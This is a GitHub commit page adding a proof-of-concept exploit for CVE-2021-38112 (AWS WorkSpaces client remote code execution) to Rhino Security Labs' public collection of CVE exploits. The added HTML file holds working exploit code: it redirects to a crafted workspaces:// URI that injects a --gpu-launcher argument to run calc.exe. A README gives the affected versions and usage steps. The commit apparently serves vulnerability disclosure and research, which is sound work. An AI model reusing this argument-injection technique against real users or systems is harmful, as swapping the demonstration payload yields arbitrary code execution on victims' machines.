Merge pull request RhinoSecurityLabs#6 from DaveYesland/add_CVE-2021-…

…38112 Add CVE 2021 38112
korallin · Sep 22, 2021 · 91f733a · 91f733a
2 parents 742032e + bfc1623
commit 91f733a
Show file tree

Hide file tree

Showing 4 changed files with 40 additions and 0 deletions.
diff --git a/CVE-2021-38112/CVE-2021-38112.html b/CVE-2021-38112/CVE-2021-38112.html
@@ -0,0 +1,21 @@
+<!--
+	This is an example POC for CVE-2021-38112: AWS WorkSpaces Remote Code Execution
+	More info: https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/
+-->
+<!DOCTYPE html>
+<html>
+<script>
+	function launch(){
+		reg_code = document.getElementById("reg_code").value;
+		document.location = "workspaces://anything%20--gpu-launcher=%22calc.exe%22@"+reg_code;
+	}
+</script>
+<body>
+	<p>
+		WorkSpaces Registration Code: <input id="reg_code">
+	</p>
+	<p>
+	<button type="button" onclick="launch()">Launch WorkSpaces</button>
+	</p>
+</body>
+</html>
diff --git a/CVE-2021-38112/README.md b/CVE-2021-38112/README.md
@@ -0,0 +1,18 @@
+# CVE-2021-38112: AWS WorkSpaces Remote Code Execution
+
+## Information
+**Description:** This vulnerability allows arbitrary commands to be executed when opening a crafted URI in Amazon AWS WorkSpaces client.  
+**Versions Affected:** < 3.1.9  
+**Researcher:** David Yesland @daveysec (https://twitter.com/daveysec)  
+**Disclosure Link:** https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/  
+**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2021-38112  
+
+## Proof-of-Concept Exploit
+### Description
+When a user opens the HTML page with the attackers valid WorkSpace registration code, they are redirected to the crafted URI which will launch calc.exe upon the WorkSpaces client opening.  
+
+### Usage/Exploitation
+Create a valid WorkSpaces registration code in AWS AD and open the HTML file. Enter to code and click the button.  
+
+### Screenshot
+![Alt-text that shows up on hover](poc_image.gif)
diff --git a/CVE-2021-38112/poc_image.gif b/CVE-2021-38112/poc_image.gif
diff --git a/README.md b/README.md
@@ -1,5 +1,6 @@
 # Rhino CVE Proof-of-Concept Exploits
 A collection of proof-of-concept exploit scripts written by the team at Rhino Security Labs for various CVEs.
+* [CVE-2021-38112: AWS WorkSpaces Remote Code Execution](CVE-2021-38112/)
 * [CVE-2020-5377 and CVE-2021-21514: Dell OpenManage Server Administrator Arbitrary File Read](CVE-2020-5377_CVE-2021-21514/)
 * [CVE-2020-13405: MicroWeber Unauthenticated User Database Disclosure](CVE-2020-13405/)
 * [CVE-2019-9926: LabKey Server CSRF](CVE-2019-9926/)